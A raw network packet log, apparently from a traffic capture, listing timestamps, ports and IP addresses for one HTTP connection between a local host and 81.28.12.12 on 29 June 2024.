Jun 29, 2024 08:05:06.709491968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.709502935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.709516048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.709537983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.709554911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.709575891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.709589958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.709604979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.709618092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.709638119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.710334063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.710381031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.710401058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.710417032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.710438967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.710453033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.710469961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.710484982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.710511923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.711162090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.711186886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.711201906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.711209059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.711220026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.711241961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.711266041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.711282015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.711299896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.711308002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.711314917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.711334944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.711988926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.712029934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.712049007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.712064028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.712085009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.712097883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.712132931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.712171078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.712199926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.712236881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.712888956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.712902069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.712917089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.712928057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.712940931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.712955952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.712970972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.712985992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.713000059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.713009119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.713023901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.713037968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.713073015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.713085890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.713108063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.713121891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.713857889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.713884115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.713898897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.713908911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.713917971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.713938951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.714031935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.714046955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.714076042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.714086056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.714549065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.714596987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.714621067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.714663029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.001302958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.001331091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.001363993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.001383066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.001383066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.001409054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.001416922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.001434088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.001455069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.001461983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.001470089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.001488924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.001523018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.001538038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.001559973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.001574993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.001955032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.001998901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.002024889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.002041101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.002059937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.002079964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.002094030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.002109051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.002130985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.002145052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.002805948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.002839088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.002854109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.002866030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.002877951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.002897978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.002922058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.002937078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.002952099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.002962112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.002976894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.002995968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.003793001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.003808975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.003823996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.003838062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.003856897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.003866911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.003882885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.003906012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.003931046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.004048109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.004084110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.004549980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.004564047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.004579067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.004591942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.004627943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.004653931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.004668951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.004684925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.004695892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.004714966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.004731894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.005882978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.005908012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.005924940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.005933046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.005943060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.005966902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.005995035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.006010056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.006030083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.006036997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.006045103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.006068945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.006378889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.006428003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.006450891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.006462097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.006474972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.006485939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.006495953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.006513119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.006524086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.006536961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.006558895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.006578922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.007105112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.007174015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.007189035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.007198095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.007214069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.007221937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.007234097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.007246017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.007256985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.007270098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.007278919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.007302046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.008188009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.008203030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.008218050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.008230925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.008244038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.008255005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.008268118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.008290052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.008331060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.008865118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.008877993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.008894920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.008917093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.008929014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.008938074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.008950949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.008965969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.008975983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.009004116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.009634972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.009659052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.009671926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.009682894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.009694099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.009711027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.009721994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.009735107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.009757996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.009772062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.295747042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.295795918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.295828104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.295860052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.295897961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.295959949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.295984030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296035051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296067953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296088934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.296114922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.296140909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296175003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296195030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.296219110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.296247959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296279907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296299934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.296329021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.296351910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296399117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.296658039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296713114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.296768904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296818018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.296840906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296875954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296895981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.296924114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.296947002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.296994925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.297504902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.297534943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.297559023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.297607899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.297643900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.297661066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.297678947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.297712088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.297732115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.297759056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.297785044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.297832966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.298324108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.298377991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.298419952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.298468113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.298494101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.298527956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.298547029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.298573017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.298598051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.298646927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.299139977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.299190044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.299212933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.299261093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.299283028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.299315929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.299340010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.299371004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.299392939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.299427986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.299449921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.299484968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.300028086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.300081015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.300103903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.300137043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.300157070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.300184965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.300209045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.300240993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.300261021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.300282955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.300931931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.300964117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.300983906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.301007032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.301053047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.301084995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.301105022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.301127911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.301156998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.301203966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.301978111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.302026033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.302088022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.302120924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.302140951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.302166939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.302194118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.302226067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.302246094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.302273989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.302589893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.302649021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.302681923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.302726984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.302752018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.302786112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.302805901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.302840948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.302870989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.302906990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.302931070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.302969933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.303544044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.303606033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.303631067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.303678036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.303699970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.303734064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.303754091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.303780079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.303803921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.303849936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.304261923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.304311037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.304351091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.304405928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.590089083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.590157986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.590176105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.590197086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.590214968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.590230942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.590248108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.590281010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.590323925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.590339899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.590363026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.590384007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.590415955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.590471983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:07.590938091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:07.590991020 CEST	49731	80	192.168.2.4	81.28.12.12
